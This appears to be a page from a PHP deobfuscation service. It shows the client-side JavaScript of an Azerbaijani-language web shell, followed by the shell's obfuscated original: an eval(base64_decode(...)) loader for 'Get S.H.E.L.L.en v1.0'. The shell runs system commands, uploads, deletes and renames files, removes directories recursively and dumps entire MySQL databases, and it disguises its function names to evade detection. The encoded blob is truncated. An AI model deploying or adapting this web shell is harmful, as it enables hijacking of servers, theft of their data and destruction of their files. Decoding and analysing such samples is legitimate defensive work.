		inputlar+="<input name=\'"+keyAndValue[0]+"\' value=\'"+keyAndValue[1]+"\' type=\'hidden\'>";
	}
	document.all("post_form").innerHTML = inputlar;
	document.all("post_form").submit();
}
function faylSil(url)
{
	if( confirm(\'Eminsen atash?\') )
	{
		sehife(url);
	}
}
function faylSifirla(url)
{
	if( confirm(\'Eminsen atash?\') )
	{
		sehife(url);
	}
}
function changeFileName(name, url)
{
	var getNewName = prompt(\'Change file name:\' , name);
	if( getNewName )
	{
		sehife(url + "&new_name=" + getNewName);
	}
}
function newFile()
{
	var getNewName = prompt(\'File name:\');
	if( getNewName )
	{
		sehife("?ne=fayl_yarat&ad=" + getNewName + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
	}
}
function newPapka()
{
	var getNewName = prompt(\'File name:\');
	if( getNewName )
	{
		sehife("?ne=papka_yarat&ad=" + getNewName + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
	}
}
function sistemKom()
{
	var komanda = document.getElementById(\'emr_et_atash\').value;
	if( komanda )
	{
		sehife("?ne=sistem_kom&kom=" + b64EncodeUnicode(komanda) + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
	}
}
function skl_bas()
{
	var sklEmr = document.getElementById(\'skl_emr\').value;
	
	sehife("?ne=skl&emr=" + b64EncodeUnicode(sklEmr));
}
function b64EncodeUnicode(str)
{
	return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
		function toSolidBytes(match, p1) {
			return String.fromCharCode(\'0x\' + p1);
		}));
}
function goto()
{
	var dir = prompt(\'Dir:\');
	if( dir )
	{
		sehife("?qovluq=" + dir);
	}
}
function ziple(qovluq)
{
	var dir = prompt(\'Dir:\' , "<?=htmlspecialchars($default_dir)?>");
	if( dir )
	{
		sehife("?ne=ziple&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>&zf=" + qovluq + "&save_to=" + b64EncodeUnicode(dir))
	}
}
function silPapka(qovluq)
{
	if( confirm(\'Eminsen atash?\') )
	{
		sehife("?ne=papka_sil&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>&zf=" + qovluq)
	}
}
function shifrelee()
{
	var vall = document.getElementsByClassName(\'file_edit\')[0].value;
	var repp = [\'a\',\'i\',\'e\',\'s\',\'l\',\'b\',\'u\',\'o\',\'p\',\'h\',"\(","\)","\<","\>","\?","\;","\[","\]","\$"];
	for(var s in repp)
	{
		var h = repp[s];
		vall = vall.replace(new RegExp(h, \'g\') , \'|:\'+s+\':|\');
	}

	document.getElementsByClassName(\'file_edit\')[0].value = vall;
}

document.getElementById("emr_et_atash").addEventListener("keyup", function(event)
{
	event.preventDefault();
	if (event.keyCode === 13)
	{
		sistemKom();
	}
});
</script>
</body>
</html>
'

Did this file decode correctly?

Original Code

<?= eval(
    "?>" .
        base64_decode(
            "PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCiRiYXFsaUZ1bmtzaXlhbGFyID0gZXhwbG9kZSgiLCIsICIiKTsNCiRzYWZlTW9kZSA9IHRydWU7DQokYWN0aW9ucyA9IGFycmF5KCJlc2FzIiwiZmF5bF9veHUiLCJwaHBpbmZvIiwic2lzdGVtX2tvbSIsImZheWxfcmVkYWt0ZSIsImZheWxfeXVrbGUiLCdmYXlsX3NpbCcsJ2ZheWxfeWFyYXQnLCdwYXBrYV95YXJhdCcsJ2ZheWxfc2lmaXJsYScgLCAncGFwa2Ffc2lsJywnZmF5bF9hZF9kZXlpc2gnLCAnemlwbGUnICwgJ3NrbCcgLCAnc2tsX2RfdCcgLCAnc2tsX2QnLCAnZmF5bF91cGwnKTsNCiRuZSA9IGlzc2V0KCRfUE9TVFsnbmUnXSkgJiYgaW5fYXJyYXkoJF9QT1NUWyduZSddLCRhY3Rpb25zKSA/ICRfUE9TVFsnbmUnXSA6ICJlc2FzIjsNCg0KDQoNCmZ1bmN0aW9uIHNoaWZyZWxlKCRzdHIpDQp7DQoJJGYgPSAnYmFzJzsNCgkkZiAuPSAnZTYnOw0KCSRmIC49ICc0Xyc7DQoJJGYgLj0gJ2UnOw0KCSRmIC49ICduYyc7DQoJJGYgLj0gJ29kZSc7DQoJcmV0dXJuICRmKCRzdHIpOw0KfQ0KZnVuY3Rpb24gZGVzaGlmcmVsZSgkc3RyKQ0Kew0KCSRmID0gJ2Jhcyc7DQoJJGYgLj0gJ2U2JzsNCgkkZiAuPSAnNF8nOw0KCSRmIC49ICdkJzsNCgkkZiAuPSAnZWMnOw0KCSRmIC49ICdvZGUnOw0KCXJldHVybiAkZigkc3RyKTsNCn0NCmZ1bmN0aW9uIHRvb2tZYXJhdCgkdEFkKQ0Kew0KCWlmKGlzc2V0KCRfU0VTU0lPTlskdEFkXSkpDQoJew0KCQl1bnNldCgkX1NFU1NJT05bJHRBZF0pOw0KCX0NCgkkeWVuaVRvb2sgPSBtZDUoc2hpZnJlbGUodGltZSgpLnJhbmQoMSw5OTk5OTk5OSkpKTsNCgkkX1NFU1NJT05bJHRBZF0gPSAkeWVuaVRvb2s7DQoJcmV0dXJuICR5ZW5pVG9vazsNCn0NCmZ1bmN0aW9uIHFvdmx1cXVZYXooKQ0Kew0KCWdsb2JhbCAkZGVmYXVsdF9kaXI7DQoJJHNvbkRpciA9IGFycmF5KCk7DQoJJHVtdW1pSGlzc2VsZXIgPSAiIjsNCgkkcGFyc2UgPSBleHBsb2RlKCIvIiwgJGRlZmF1bHRfZGlyKTsNCg0KCSRpaSA9IDA7DQoJZm9yZWFjaCgkcGFyc2UgQVMgJGhpc3NlKQ0KCXsNCgkJJGlpKys7DQoJCSR1bXVtaUhpc3NlbGVyLj0kaGlzc2UuIi8iOw0KCQkkc29uRGlyW10gPSAiPGEgaHJlZj0namF2YXNjcmlwdDpzZWhpZmUoXCI/cW92bHVxPSIudXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkdW11bWlIaXNzZWxlcikpKS4iXCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoZW1wdHkoJGhpc3NlKSYmJGlpIT1jb3VudCgkcGFyc2UpPycvJzokaGlzc2UpLiI8L2E+IjsNCgl9DQoJJHNvbkRpciA9IGltcGxvZGUoIi8iLCAkc29uRGlyKTsNCglwcmludCAkc29uRGlyIC4gJyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyggPGEgaHJlZj0iIj5SZXNldDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvdG8oKSI+R28gdG88L2E+ICknOw0KfQ0KZnVuY3Rpb24gc2l6ZUZvcm1hdCgkYnl0ZXMpDQp7DQoJaWYoJGJ5dGVzPj0xMDczNzQxODI0KQ0KCXsNCgkJJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR2InOw0KCX0NCgllbHNlIGlmKCRieXRlcz49MTA0ODU3NikNCgl7DQoJCSRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1iJzsNCgl9DQoJZWxzZSBpZigkYnl0ZXM+PTEwMjQpDQoJew0KCQkkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLYic7DQoJfQ0KCWVsc2UNCgl7DQoJCSRieXRlcyA9ICRieXRlcyAuICcgYic7DQoJfQ0KCXJldHVybiAkYnl0ZXM7DQp9DQpmdW5jdGlvbiB1dGY4aXplKCRkKQ0Kew0KCWlmIChpc19hcnJheSgkZCkpDQoJew0KCQlmb3JlYWNoICgkZCBhcyAkayA9PiAkdikNCgkJew0KCQkJJGRbJGtdID0gdXRmOGl6ZSgkdik7DQoJCX0NCgl9DQoJZWxzZSBpZiAoaXNfc3RyaW5nICgkZCkpDQoJew0KCQlyZXR1cm4gdXRmOF9lbmNvZGUoJGQpOw0KCX0NCglyZXR1cm4gJGQ7DQp9DQpmdW5jdGlvbiBycm1kaXIoJGRpcikNCnsNCglpZiAoaXNfZGlyKCRkaXIpKQ0KCXsNCgkJJG9iamVjdHMgPSBzY2FuZGlyKCRkaXIpOw0KDQoJCWZvcmVhY2ggKCRvYmplY3RzIGFzICRvYmplY3QpDQoJCXsNCgkJCWlmICgkb2JqZWN0ICE9ICIuIiAmJiAkb2JqZWN0ICE9ICIuLiIpDQoJCQl7DQoJCQkJaWYgKGlzX2RpcigkZGlyIC4gIi8iIC4gJG9iamVjdCkpDQoJCQkJew0KCQkJCQlycm1kaXIoJGRpciAuICIvIiAuICRvYmplY3QpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGRpciAuICIvIiAuICRvYmplY3QgKTsNCgkJCQl9DQoJCQl9DQoJCX0NCg0KCQlybWRpciggJGRpciApOw0KCX0NCn0NCg0KJGRlZmF1bHRfZGlyID0gZ2V0Y3dkKCk7DQppZihpc3NldCgkX1BPU1RbJ3Fvdmx1cSddKSAmJiBpc19zdHJpbmcoJF9QT1NUWydxb3ZsdXEnXSkgKQ0Kew0KCSRkZWZhdWx0X2RpciA9IGVtcHR5KCRfUE9TVFsncW92bHVxJ10pID8gRElSRUNUT1JZX1NFUEFSQVRPUiA6IGRlc2hpZnJlbGUodXJsZGVjb2RlKHVybGRlY29kZSgkX1BPU1RbJ3Fvdmx1cSddKSkpOw0KCSRjX2hfZGlyX2NvbW0gPSAnYycuJ2hkJy4naXInOw0KCSRjX2hfZGlyX2NvbW0oJGRlZmF1bHRfZGlyKTsNCn0NCg0KJGRlZmF1bHRfZGlyID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkZGVmYXVsdF9kaXIpOw0KDQppZihpc3NldCgkX0dFVFsnbmUnXSkgJiYgJF9HRVRbJ25lJ109PSJwaW5mIikNCnsNCglvYl9zdGFydCgpOw0KCXBocGluZm8oKTsNCgkkcEluZiA9IG9iX2dldF9jbGVhbigpOw0KCXByaW50IHN0cl9yZXBsYWNlKCJib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmZmZmOyBjb2xvcjogIzAwMDAwMDt9IiwiIiwkcEluZik7DQoJZXhpdCgpOw0KfQ0KZWxzZSBpZigkbmU9PSJmYXlsX3l1a2xlIiAmJiBpc3NldCgkX1BPU1RbJ2ZheWwnXSkgJiYgIiIhPSh0cmltKCRfUE9TVFsnZmF5bCddKSkpDQp7DQoJJGZheWxBZGkgPSBiYXNlbmFtZShkZXNoaWZyZWxlKHVybGRlY29kZSgkX1BPU1RbJ2ZheWwnXSkpKTsNCgkkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsc3RybGVuKCRkZWZhdWx0X2RpciktMSkhPSIvIiAmJiBzdWJzdHIoJGZheWxBZGksMCwxKSE9Ii8iID8gIi8iIDogIiI7DQoJaWYoaXNfZmlsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSAmJiBpc19yZWFkYWJsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSkNCgl7DQoJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkZmF5bEFkaSkpOw0KCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQoJCWhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBmaWxlc2l6ZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSk7DQoJCXJlYWRmaWxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpOw0KCQlleGl0KCk7DQoJfQ0KfQ0KZWxzZSBpZigkbmU9PSJmYXlsX3NpbCIgJiYgaXNzZXQoJF9QT1NUWydmYXlsJ10pICYmICIiIT0odHJpbSgkX1BPU1RbJ2ZheWwnXSkpKQ0Kew0KCSRmYXlsQWRpID0gYmFzZW5hbWUoZGVzaGlmcmVsZSh1cmxkZWNvZGUoJF9QT1NUWydmYXlsJ10pKSk7DQoJJGF5aXJpY2kgPSBzdWJzdHIoJGRlZmF1bHRfZGlyLHN0cmxlbigkZGVmYXVsdF9kaXIpLTEpIT0iLyIgJiYgc3Vic3RyKCRmYXlsQWRpLDAsMSkhPSIvIiA/ICIvIiA6ICIiOw0KCWlmKGlzX2ZpbGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkgJiYgaXNfcmVhZGFibGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkpDQoJew0KCQl1bmxpbmsoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSk7DQoJfQ0KfQ0KZWxzZSBpZigkbmU9PSJmYXlsX3NpZmlybGEiICYmIGlzc2V0KCRfUE9TVFsnZmF5bCddKSAmJiAiIiE9KHRyaW0oJF9QT1NUWydmYXlsJ10pKSkNCnsNCgkkZmF5bEFkaSA9IGJhc2VuYW1lKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsnZmF5bCddKSkpOw0KCSRheWlyaWNpID0gc3Vic3RyKCRkZWZhdWx0X2RpcixzdHJsZW4oJGRlZmF1bHRfZGlyKS0xKSE9Ii8iICYmIHN1YnN0cigkZmF5bEFkaSwwLDEpIT0iLyIgPyAiLyIgOiAiIjsNCglpZihpc19maWxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpICYmIGlzX3JlYWRhYmxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpKQ0KCXsNCgkJZmlsZV9wdXRfY29udGVudHMoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSwgJycpOw0KCX0NCn0NCmVsc2UgaWYoJG5lPT0iZmF5bF95YXJhdCIgJiYgaXNzZXQoJF9QT1NUWydhZCddKSAmJiAhZW1wdHkoJF9QT1NUWydhZCddKSkNCnsNCgkkZmF5bEFkaSA9IGJhc2VuYW1lKHVybGRlY29kZSgkX1BPU1RbJ2FkJ10pKTsNCgkkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsc3RybGVuKCRkZWZhdWx0X2RpciktMSkhPSIvIiAmJiBzdWJzdHIoJGZheWxBZGksMCwxKSE9Ii8iID8gIi8iIDogIiI7DQoJaWYoIGlzX2ZpbGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkgKQ0KCXsNCgkJcHJpbnQgJzxzY3JpcHQ+YWxlcnQoIkJ1IGFkZGEgZmF5bCBhcnRpcSBtb3ZjdWRkdXIhIik7PC9zY3JpcHQ+JzsNCgl9DQoJZWxzZQ0KCXsNCgkJZmlsZV9wdXRfY29udGVudHMoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSwgJycpOw0KCX0NCn0NCmVsc2UgaWYoJG5lPT0icGFwa2FfeWFyYXQiICYmIGlzc2V0KCRfUE9TVFsnYWQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnYWQnXSkpDQp7DQoJJHBhcGthQWRpID0gYmFzZW5hbWUodXJsZGVjb2RlKCRfUE9TVFsnYWQnXSkpOw0KCSRheWlyaWNpID0gc3Vic3RyKCRkZWZhdWx0X2RpcixzdHJsZW4oJGRlZmF1bHRfZGlyKS0xKSE9Ii8iICYmIHN1YnN0cigkcGFwa2FBZGksMCwxKSE9Ii8iID8gIi8iIDogIiI7DQoJaWYoIGlzX2ZpbGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkcGFwa2FBZGkpICkNCgl7DQoJCXByaW50ICc8c2NyaXB0PmFsZXJ0KCJCdSBhZGRhIHBhcGthIGFydGlxIG1vdmN1ZGR1ciEiKTs8L3NjcmlwdD4nOw0KCX0NCgllbHNlDQoJew0KCQlta2RpcigkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRwYXBrYUFkaSk7DQoJfQ0KfQ0KZWxzZSBpZigkbmU9PSJmYXlsX2FkX2RleWlzaCIgJiYgaXNzZXQoJF9QT1NUWydmYXlsJ10pICYmICIiIT0odHJpbSgkX1BPU1RbJ2ZheWwnXSkpICYmIGlzc2V0KCRfUE9TVFsnbmV3X25hbWUnXSkgJiYgaXNfc3RyaW5nKCRfUE9TVFsnbmV3X25hbWUnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbmV3X25hbWUnXSkpDQp7DQoJJGZheWxBZGkgPSBiYXNlbmFtZShkZXNoaWZyZWxlKHVybGRlY29kZSgkX1BPU1RbJ2ZheWwnXSkpKTsNCgkkZmF5bFllbmlBZCA9IGJhc2VuYW1lKHVybGRlY29kZSgkX1BPU1RbJ25ld19uYW1lJ10pKTsNCgkkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsc3RybGVuKCRkZWZhdWx0X2RpciktMSkhPSIvIiAmJiBzdWJzdHIoJGZheWxBZGksMCwxKSE9Ii8iID8gIi8iIDogIiI7DQoJaWYoaXNfZmlsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSAmJiBpc19yZWFkYWJsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSkNCgl7DQoJCXJlbmFtZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpICwgJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bFllbmlBZCk7DQoJfQ0KfQ0KZWxzZSBpZiggJG5lID09ICdza2xfZF90JyAmJiBpc3NldCgkX1BPU1RbJ3QnXSkgJiYgaXNfc3RyaW5nKCRfUE9TVFsndCddKSAmJiAhZW1wdHkoJF9QT1NUWyd0J10pICkNCnsNCgkkdGFibGVOYW1lID0gZGVzaGlmcmVsZSh1cmxkZWNvZGUoJF9QT1NUWyd0J10pKTsNCg0KCSRob3N0ID0gaXNzZXQoJF9DT09LSUVbJ2hvc3QnXSkgPyAkX0NPT0tJRVsnaG9zdCddIDogJyc7DQoJJHVzZXIgPSBpc3NldCgkX0NPT0tJRVsndXNlciddKSA/ICRfQ09PS0lFWyd1c2VyJ10gOiAnJzsNCgkkcGFyb2wgPSBpc3NldCgkX0NPT0tJRVsncGFyb2wnXSkgPyAkX0NPT0tJRVsncGFyb2wnXSA6ICcnOw0KCSRiYXphID0gaXNzZXQoJF9DT09LSUVbJ2JhemEnXSkgPyAkX0NPT0tJRVsnYmF6YSddIDogJyc7DQoNCgkkYmF6YVN0ciA9IGVtcHR5KCRiYXphKSA/ICcnIDogJ2RibmFtZT0nIC4gJGJhemEgLiAnOyc7DQoNCglpZiggIWVtcHR5KCAkaG9zdCApICYmICFlbXB0eSgkYmF6YSkgKQ0KCXsNCgkJdHJ5DQoJCXsNCgkJCSRwZG8gPSBuZXcgUERPKCdteXNxbDpob3N0PScgLiAkaG9zdCAuICc7Y2hhcnNldD11dGY4OycgLiAkYmF6YVN0ciAsICR1c2VyICwgJHBhcm9sLGFycmF5KFBETzo6TVlTUUxfQVRUUl9JTklUX0NPTU1BTkQgPT4gIlNFVCBOQU1FUyAndXRmOCciKSk7DQoJCQkkcGRvLT5zZXRBdHRyaWJ1dGUoUERPOjpBVFRSX0RFRkFVTFRfRkVUQ0hfTU9ERSwgUERPOjpGRVRDSF9BU1NPQyk7DQoNCgkJCSRnZXRDb2x1bW5zID0gJHBkby0+cHJlcGFyZSgiU0VMRUNUIGNvbHVtbl9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPT8gYW5kIHRhYmxlX25hbWU9PyIpOw0KCQkJJGdldENvbHVtbnMtPmV4ZWN1dGUoYXJyYXkoJGJhemEgLCAkdGFibGVOYW1lKSk7DQoJCQkkY29sdW1ucyA9ICRnZXRDb2x1bW5zLT5mZXRjaEFsbCgpOw0KDQoJCQlpZiggJGNvbHVtbnMgKQ0KCQkJew0KDQoJCQkJJGRhdGEgPSAkcGRvLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJyAuICR0YWJsZU5hbWUgLidgJyk7DQoJCQkJJGRhdGEgPSAkZGF0YS0+ZmV0Y2hBbGwoKTsNCg0KCQkJCWhlYWRlcignQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZF8nIC4gYmFzZW5hbWUoaHRtbHNwZWNpYWxjaGFycygkdGFibGVOYW1lKSkgLiAnLmpzb24nKTsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vanNvbicpOw0KCQkJCWVjaG8ganNvbl9lbmNvZGUoJGRhdGEpOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCXByaW50ICdUYWJsZSBub3QgZm91bmQhJzsNCgkJCX0NCg0KCQl9DQoJCWNhdGNoIChFeGNlcHRpb24gJGUpDQoJCXsNCgkJCXByaW50ICRlLT5nZXRNZXNzYWdlKCk7DQoJCX0NCgl9DQoJZWxzZQ0KCXsNCgkJcHJpbnQgJ0Vycm9yISBQbGVhc2UgY29ubmVjdCB0byBTUUwhJzsNCgl9DQoJZGllOw0KfQ0KZWxzZSBpZiggJG5lID09ICdza2xfZCcgKQ0Kew0KCSRob3N0ID0gaXNzZXQoJF9DT09LSUVbJ2hvc3QnXSkgPyAkX0NPT0tJRVsnaG9zdCddIDogJyc7DQoJJHVzZXIgPSBpc3NldCgkX0NPT0tJRVsndXNlciddKSA/ICRfQ09PS0lFWyd1c2VyJ10gOiAnJzsNCgkkcGFyb2wgPSBpc3NldCgkX0NPT0tJRVsncGFyb2wnXSkgPyAkX0NPT0tJRVsncGFyb2wnXSA6ICcnOw0KCSRiYXphID0gaXNzZXQoJF9DT09LSUVbJ2JhemEnXSkgPyAkX0NPT0tJRVsnYmF6YSddIDogJyc7DQoNCgkkYmF6YVN0ciA9IGVtcHR5KCRiYXphKSA/ICcnIDogJ2RibmFtZT0nIC4gJGJhemEgLiAnOyc7DQoNCglpZiggIWVtcHR5KCAkaG9zdCApICYmICFlbXB0eSgkYmF6YSkgKQ0KCXsNCgkJdHJ5DQoJCXsNCgkJCSRwZG8gPSBuZXcgUERPKCdteXNxbDpob3N0PScgLiAkaG9zdCAuICc7Y2hhcnNldD11dGY4OycgLiAkYmF6YVN0ciAsICR1c2VyICwgJHBhcm9sLGFycmF5KFBETzo6TVlTUUxfQVRUUl9JTklUX0NPTU1BTkQgPT4gIlNFVCBOQU1FUyAndXRmOCciKSk7DQoJCQkkcGRvLT5zZXRBdHRyaWJ1dGUoUERPOjpBVFRSX0RFRkFVTFRfRkVUQ0hfTU9ERSwgUERPOjpGRVRDSF9BU1NPQyk7DQoNCgkJCSRhbGxEYXRhID0gYXJyYXkoKTsNCg0KCQkJJHRhYmxlcyA9ICRwZG8tPnByZXBhcmUoJ1NFTEVDVCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9PycpOw0KCQkJJHRhYmxlcy0+ZXhlY3V0ZShhcnJheSgkYmF6YSkpOw0KCQkJJHRhYmxlcyA9ICR0YWJsZXMtPmZldGNoQWxsKCk7DQoNCgkJCWZvcmVhY2goICR0YWJsZXMgQVMgJHRhYmxlTmFtZSApDQoJCQl7DQoJCQkJJHRhYmxlTmFtZSA9ICR0YWJsZU5hbWVbJ3RhYmxlX25hbWUnXTsNCg0KCQkJCSRkYXRhID0gJHBkby0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcgLiAkdGFibGVOYW1lIC4nYCcpOw0KCQkJCSRkYXRhID0gJGRhdGEtPmZldGNoQWxsKCk7DQoNCgkJCQkkYWxsRGF0YVskdGFibGVOYW1lXSA9ICRkYXRhID8gYXJyYXkoJGRhdGEpIDogYXJyYXkoKTsNCgkJCX0NCg0KCQkJaGVhZGVyKCdDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kX2JfJyAuIGJhc2VuYW1lKGh0bWxzcGVjaWFsY2hhcnMoJGJhemEpKSAuICcuanNvbicpOw0KCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCg0KCQkJZWNobyBqc29uX2VuY29kZSggdXRmOGl6ZSggJGFsbERhdGEpICk7DQoJCX0NCgkJY2F0Y2ggKEV4Y2VwdGlvbiAkZSkNCgkJew0KCQkJcHJpbnQgJGUtPmdldE1lc3NhZ2UoKTsNCgkJfQ0KCX0NCgllbHNlDQoJew0KCQlwcmludCAnRXJyb3IhIFBsZWFzZSBjb25uZWN0IHRvIFNRTCEnOw0KCX0NCglkaWU7DQp9DQplbHNlIGlmKCAkbmUgPT0gJ3ppcGxlJw0KCSYmIGlzc2V0KCRfUE9TVFsnc2F2ZV90byddICwgJF9QT1NUWyd6ZiddKSAmJiBpc19zdHJpbmcoJF9QT1NUWydzYXZlX3RvJ10pDQoJJiYgIWVtcHR5KCRfUE9TVFsnc2F2ZV90byddKSAmJiAhaW5fYXJyYXkoJF9QT1NUWydzYXZlX3RvJ10gLCBhcnJheSgnLicgLCAnLi4nICwgJy4vJyAsICcuLi8nKSkNCgkmJiBpc19zdHJpbmcoJF9QT1NUWyd6ZiddKSAmJiAhZW1wdHkoJF9QT1NUWyd6ZiddKQ0KKQ0Kew0KCSRzYXZlX3RvID0gZGVzaGlmcmVsZSh1cmxkZWNvZGUoJF9QT1NUWydzYXZlX3RvJ10pKTsNCg0KCSRyb290UGF0aCA9IHJlYWxwYXRoKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsnemYnXSkpKTsNCg0KCSRmaWxlTmFtZTEgPSAnYmFrXycubWljcm90aW1lKDEpIC4gJ18nIC4gcmFuZCgxMDAwLCA5OTk5OSkgLiAnLnppcCc7DQoJJGZpbGVOYW1lID0gJHNhdmVfdG8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVOYW1lMTsNCg0KCWlmKCBpc19kaXIoICRzYXZlX3RvICkgJiYgaXNfZGlyKCAkcm9vdFBhdGggKSAmJiBpc193cml0YWJsZSggJHNhdmVfdG8gKSApDQoJew0KCQlzZXRfdGltZV9saW1pdCgwKTsNCg0KCQkkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCgkJJHppcC0+b3BlbiggJGZpbGVOYW1lICwgWmlwQXJjaGl2ZTo6Q1JFQVRFIHwgWmlwQXJjaGl2ZTo6T1ZFUldSSVRFICk7DQoNCgkJJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoDQoJCQluZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHJvb3RQYXRoKSwNCgkJCVJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkxFQVZFU19PTkxZDQoJCSk7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRuYW1lID0+ICRmaWxlKQ0KCQl7DQoJCQlpZiAoISRmaWxlLT5pc0RpcigpKQ0KCQkJew0KCQkJCSRmaWxlUGF0aCA9ICRmaWxlLT5nZXRSZWFsUGF0aCgpOw0KCQkJCSRyZWxhdGl2ZVBhdGggPSBzdWJzdHIoJGZpbGVQYXRoLCBzdHJsZW4oJHJvb3RQYXRoKSArIDEpOw0KDQoJCQkJJHppcC0+YWRkRmlsZSgkZmlsZVBhdGgsICRyZWxhdGl2ZVBhdGgpOw0KCQkJfQ0KCQl9DQoNCgkJJHppcC0+Y2xvc2UoKTsNCgkJcHJpbnQgJ1NhdmVkITxocj4nOw0KCX0NCgllbHNlDQoJew0KCQlwcmludCAnRGlyIGlzIG5vdCB3cml0ZWFibGUhPGhyPic7dmFyX2R1bXAoKCAkc2F2ZV90byApICk7DQoJfQ0KfQ0KZWxzZSBpZiggJG5lID09ICdwYXBrYV9zaWwnDQoJJiYgaXNzZXQoJF9QT1NUWyd6ZiddKSAmJiBpc19zdHJpbmcoJF9QT1NUWyd6ZiddKSAmJiAhZW1wdHkoJF9QT1NUWyd6ZiddKQ0KKQ0Kew0KCSRyb290UGF0aCA9IHJlYWxwYXRoKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsnemYnXSkpKTsNCg0KCWlmKCBpc19kaXIoICRyb290UGF0aCApICkNCgl7DQoJCXNldF90aW1lX2xpbWl0KDApOw0KDQoJCXJybWRpciggJHJvb3RQYXRoICk7DQoJfQ0KCWVsc2UNCgl7DQoJCXByaW50ICdEaXIgaXMgbm90IHdyaXRlYWJsZSE8aHI+Jzt2YXJfZHVtcCgoICRzYXZlX3RvICkgKTsNCgl9DQp9DQplbHNlIGlmKCRuZSA9PSAnZmF5bF91cGwnICYmIGlzc2V0KCRfRklMRVNbJ3VmYXlsJ10pKQ0Kew0KCW1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1ZmF5bCddWyd0bXBfbmFtZSddLCAkZGVmYXVsdF9kaXIgLiAnLycgLiAkX0ZJTEVTWyd1ZmF5bCddWyduYW1lJ10pOw0KCXByaW50ICJVcGxvYWQgb2xkdSBkZXllc2VuLiI7DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5HZXQgUy5ILkUuTC5MLmVuIHYxLjAgfCBCWSAuLjwvdGl0bGU+DQo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRl